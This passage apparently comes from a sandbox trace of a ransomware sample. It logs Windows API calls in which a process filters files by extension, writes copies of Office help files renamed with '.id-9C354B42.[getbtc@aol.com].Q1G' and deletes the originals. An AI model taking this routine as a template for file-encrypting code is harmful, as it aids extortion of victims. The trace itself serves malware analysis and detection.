Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll")) returned 1 [0254.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.768] lstrlenW (lpString=".doc") returned 4 [0254.768] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0254.768] lstrlenW (lpString=".docx") returned 5 [0254.768] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0254.768] lstrlenW (lpString=".pdf") returned 4 [0254.768] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0254.768] lstrlenW (lpString=".xls") returned 4 [0254.768] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString=".xlsx") returned 5 [0254.769] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0254.769] lstrlenW (lpString=".ppt") returned 4 [0254.769] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.769] lstrlenW (lpString=".zip") returned 4 [0254.769] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString=".rar") returned 4 [0254.769] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString=".bz2") returned 4 [0254.769] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString=".7z") returned 3 [0254.769] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.769] lstrlenW (lpString=".dbf") returned 4 [0254.769] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.769] lstrlenW (lpString=".1cd") returned 4 [0254.769] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.769] lstrlenW (lpString=".jpg") returned 4 [0254.769] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.769] lstrlenW (lpString=".doc") returned 4 [0254.769] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString=".docx") returned 5 [0254.769] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0254.769] lstrlenW (lpString=".pdf") returned 4 [0254.769] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString=".xls") returned 4 [0254.769] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0254.769] lstrlenW (lpString=".xlsx") returned 5 [0254.769] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0254.769] lstrlenW (lpString=".ppt") returned 4 [0254.769] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0254.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.770] lstrlenW (lpString=".zip") returned 4 [0254.770] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0254.770] lstrlenW (lpString=".rar") returned 4 [0254.770] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0254.770] lstrlenW (lpString=".bz2") returned 4 [0254.770] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0254.770] lstrlenW (lpString=".7z") returned 3 [0254.770] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.770] lstrlenW (lpString=".dbf") returned 4 [0254.770] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0254.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.770] lstrlenW (lpString=".1cd") returned 4 [0254.770] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0254.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0254.770] lstrlenW (lpString=".jpg") returned 4 [0254.770] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0254.770] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0254.770] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXC") returned 24 [0254.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.771] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=676) returned 1 [0254.771] CloseHandle (hObject=0x338) returned 1 [0254.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc")) returned 0x20 [0254.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.771] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.771] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.772] GetLastError () returned 0x0 [0254.772] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x2a4, lpOverlapped=0x0) returned 1 [0254.793] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x2b0, lpOverlapped=0x0) returned 1 [0254.794] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.794] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x104, lpOverlapped=0x0) returned 1 [0254.794] SetEndOfFile (hFile=0x390) returned 1 [0254.794] CloseHandle (hObject=0x390) returned 1 [0254.794] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.794] SetEndOfFile (hFile=0x338) returned 1 [0254.796] CloseHandle (hObject=0x338) returned 1 [0254.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc")) returned 1 [0254.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.798] lstrlenW (lpString=".doc") returned 4 [0254.798] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0254.798] lstrlenW (lpString=".docx") returned 5 [0254.798] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0254.798] lstrlenW (lpString=".pdf") returned 4 [0254.798] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0254.798] lstrlenW (lpString=".xls") returned 4 [0254.798] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0254.798] lstrlenW (lpString=".xlsx") returned 5 [0254.798] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0254.798] lstrlenW (lpString=".ppt") returned 4 [0254.798] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0254.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.798] lstrlenW (lpString=".zip") returned 4 [0254.798] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0254.798] lstrlenW (lpString=".rar") returned 4 [0254.798] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0254.798] lstrlenW (lpString=".bz2") returned 4 [0254.798] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0254.798] lstrlenW (lpString=".7z") returned 3 [0254.798] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0254.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.798] lstrlenW (lpString=".dbf") returned 4 [0254.798] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0254.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.798] lstrlenW (lpString=".1cd") returned 4 [0254.798] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0254.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.798] lstrlenW (lpString=".jpg") returned 4 [0254.798] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0254.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.799] lstrlenW (lpString=".doc") returned 4 [0254.799] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0254.799] lstrlenW (lpString=".docx") returned 5 [0254.799] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0254.799] lstrlenW (lpString=".pdf") returned 4 [0254.799] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0254.799] lstrlenW (lpString=".xls") returned 4 [0254.799] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0254.799] lstrlenW (lpString=".xlsx") returned 5 [0254.799] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0254.799] lstrlenW (lpString=".ppt") returned 4 [0254.799] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0254.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.799] lstrlenW (lpString=".zip") returned 4 [0254.799] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0254.799] lstrlenW (lpString=".rar") returned 4 [0254.799] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0254.799] lstrlenW (lpString=".bz2") returned 4 [0254.799] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0254.799] lstrlenW (lpString=".7z") returned 3 [0254.799] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0254.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.799] lstrlenW (lpString=".dbf") returned 4 [0254.799] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0254.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.799] lstrlenW (lpString=".1cd") returned 4 [0254.799] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0254.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0254.799] lstrlenW (lpString=".jpg") returned 4 [0254.799] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0254.800] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0254.800] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXT") returned 24 [0254.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.800] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=216) returned 1 [0254.800] CloseHandle (hObject=0x338) returned 1 [0254.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 0x20 [0254.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.801] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.801] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.801] GetLastError () returned 0x0 [0254.802] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xd8, lpOverlapped=0x0) returned 1 [0254.802] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0254.803] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.803] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x104, lpOverlapped=0x0) returned 1 [0254.803] SetEndOfFile (hFile=0x390) returned 1 [0254.803] CloseHandle (hObject=0x390) returned 1 [0254.803] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.803] SetEndOfFile (hFile=0x338) returned 1 [0254.806] CloseHandle (hObject=0x338) returned 1 [0254.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 1 [0254.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.807] lstrlenW (lpString=".doc") returned 4 [0254.807] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0254.807] lstrlenW (lpString=".docx") returned 5 [0254.807] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0254.807] lstrlenW (lpString=".pdf") returned 4 [0254.807] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0254.807] lstrlenW (lpString=".xls") returned 4 [0254.807] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0254.807] lstrlenW (lpString=".xlsx") returned 5 [0254.807] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0254.807] lstrlenW (lpString=".ppt") returned 4 [0254.807] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.807] lstrlenW (lpString=".zip") returned 4 [0254.807] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0254.807] lstrlenW (lpString=".rar") returned 4 [0254.807] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0254.807] lstrlenW (lpString=".bz2") returned 4 [0254.807] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0254.807] lstrlenW (lpString=".7z") returned 3 [0254.807] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.807] lstrlenW (lpString=".dbf") returned 4 [0254.807] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.807] lstrlenW (lpString=".1cd") returned 4 [0254.807] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.807] lstrlenW (lpString=".jpg") returned 4 [0254.807] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.807] lstrlenW (lpString=".doc") returned 4 [0254.807] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0254.808] lstrlenW (lpString=".docx") returned 5 [0254.808] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0254.808] lstrlenW (lpString=".pdf") returned 4 [0254.808] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0254.808] lstrlenW (lpString=".xls") returned 4 [0254.808] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0254.808] lstrlenW (lpString=".xlsx") returned 5 [0254.808] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0254.808] lstrlenW (lpString=".ppt") returned 4 [0254.808] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0254.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.808] lstrlenW (lpString=".zip") returned 4 [0254.808] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0254.808] lstrlenW (lpString=".rar") returned 4 [0254.808] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0254.808] lstrlenW (lpString=".bz2") returned 4 [0254.808] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0254.808] lstrlenW (lpString=".7z") returned 3 [0254.808] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0254.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.808] lstrlenW (lpString=".dbf") returned 4 [0254.808] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0254.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.808] lstrlenW (lpString=".1cd") returned 4 [0254.808] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0254.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0254.808] lstrlenW (lpString=".jpg") returned 4 [0254.808] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0254.808] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0254.808] lstrlenW (lpString="VISIO.SHAPESHEET_F_COL.HXK") returned 26 [0254.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.809] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=114) returned 1 [0254.809] CloseHandle (hObject=0x338) returned 1 [0254.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 0x20 [0254.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0254.809] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.809] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.810] GetLastError () returned 0x0 [0254.810] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x72, lpOverlapped=0x0) returned 1 [0254.811] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0254.812] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.812] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x108, lpOverlapped=0x0) returned 1 [0254.812] SetEndOfFile (hFile=0x390) returned 1 [0254.812] CloseHandle (hObject=0x390) returned 1 [0254.812] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.812] SetEndOfFile (hFile=0x338) returned 1 [0254.816] CloseHandle (hObject=0x338) returned 1 [0254.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 1 [0254.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0254.817] lstrlenW (lpString="C:\\Program Files\\Microsoft 